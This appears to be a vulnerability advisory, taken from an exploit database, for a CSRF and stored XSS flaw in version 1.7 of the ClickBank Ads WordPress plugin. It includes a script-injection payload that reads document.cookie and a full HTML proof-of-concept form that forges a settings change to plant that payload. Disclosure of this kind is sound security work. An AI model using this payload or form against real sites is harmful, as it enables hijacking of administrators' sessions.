CSRF and Stored XSS Vulnerability in ClickBank Ads Wordpress Plugin

vendor:

ClickBank Ads Plugin

by:

Kaustubh G. Padwad

7.5

CVSS

HIGH

Cross Site Request Forgery and Cross Site Scripting

352, 79

CWE

Product Name: ClickBank Ads Plugin

Affected Version From: Version 1.7 and mostly prior to it

Affected Version To: Version 1.7

Patch Exists: YES

Related CWE: N/A

CPE: a:clickbank:clickbank_ads_plugin

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WordPress

2020

CSRF and Stored XSS Vulnerability in ClickBank Ads WordPress Plugin

This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admin's browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.

Mitigation:

Use nonces to verify requests, validate user input, and use secure coding practices.

Source

Exploit-DB raw data:

================================================================
CSRF/Stored XSS Vulnerability in ClickBank Ads V 1.7 Plugin 
================================================================


. contents:: Table Of Content

Overview
========

* Title :CSRF and Stored XSS Vulnerability in ClickBank Ads  Wordpress Plugin 
* Author: Kaustubh G. Padwad
* Plugin Homepage: https://wordpress.org/plugins/clickbank-ads-clickbank-widget/
* Severity: HIGH
* Version Affected: Version  1.7 and mostly prior to it
* Version Tested : Version  1.7
* version patched:

Description 
===========

Vulnerable Parameter 
--------------------
* Title:

About Vulnerability
-------------------
This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admin's browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.

Vulnerability Class
=================== 
Cross Site Request Forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29)
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)

Steps to Reproduce: (POC)
=========================

After installing the plugin

1. Goto Dashboard --> Setting --> ClickBank Ads --> Title

2. Insert this payload ## "><script>+-+-1-+-+alert(document.cookie)</script> ## Into  above mention Vulnerable parameter Save settings and see XSS in action

3. Visit Click Ads settings page of this plugin anytime later and you can see the script executing as it is stored.

Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below

CSRF POC Code
=============

<html>
  <body>
    <form action="http://127.0.0.1/wp/wp-admin/options-general.php?page=clickbank-ads-clickbank-widget/clickbank-ads.php" method="POST">
      <input type="hidden" name="cbwec[title]" value="">>><script>+-+-1-+-+alert(document.cookie)</script>" />
      <input type="hidden" name="cbwec[name]" value="kaustubh" />
      <input type="hidden" name="cbwec[keywordbytitle2]" value="Title" />
      <input type="hidden" name="cbwec[keywords]" value="" />
      <input type="hidden" name="cbwec[adformat]" value="1" />
      <input type="hidden" name="cbwec[width2]" value="100%" />
      <input type="hidden" name="cbwec[width]" value="100%" />
      <input type="hidden" name="cbwec[height]2" value="220" />
      <input type="hidden" name="cbwec[height]" value="220" />
      <input type="hidden" name="cbwec[pos]" value="Top" />
      <input type="hidden" name="cbwec[bordstyle]" value="1" />
      <input type="hidden" name="cbwec[bordcolor]" value="CCCCCC" />
      <input type="hidden" name="cbwec[linkcolor]" value="0000FF" />
      <input type="hidden" name="cbwec[runplugin]" value="1" />
      <input type="hidden" name="cbwec[homepage]" value="1" />
      <input type="hidden" name="cbwec[onlypost]" value="1" />
      <input type="hidden" name="cbwec_submit" value="Save »" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


credits
=======
* Kaustubh Padwad 
* Information Security Researcher
* kingkaustubh (at) me (dot) com 
* https://twitter.com/s3curityb3ast
* http://breakthesec.com
* https://www.linkedin.com/in/kaustubhpadwad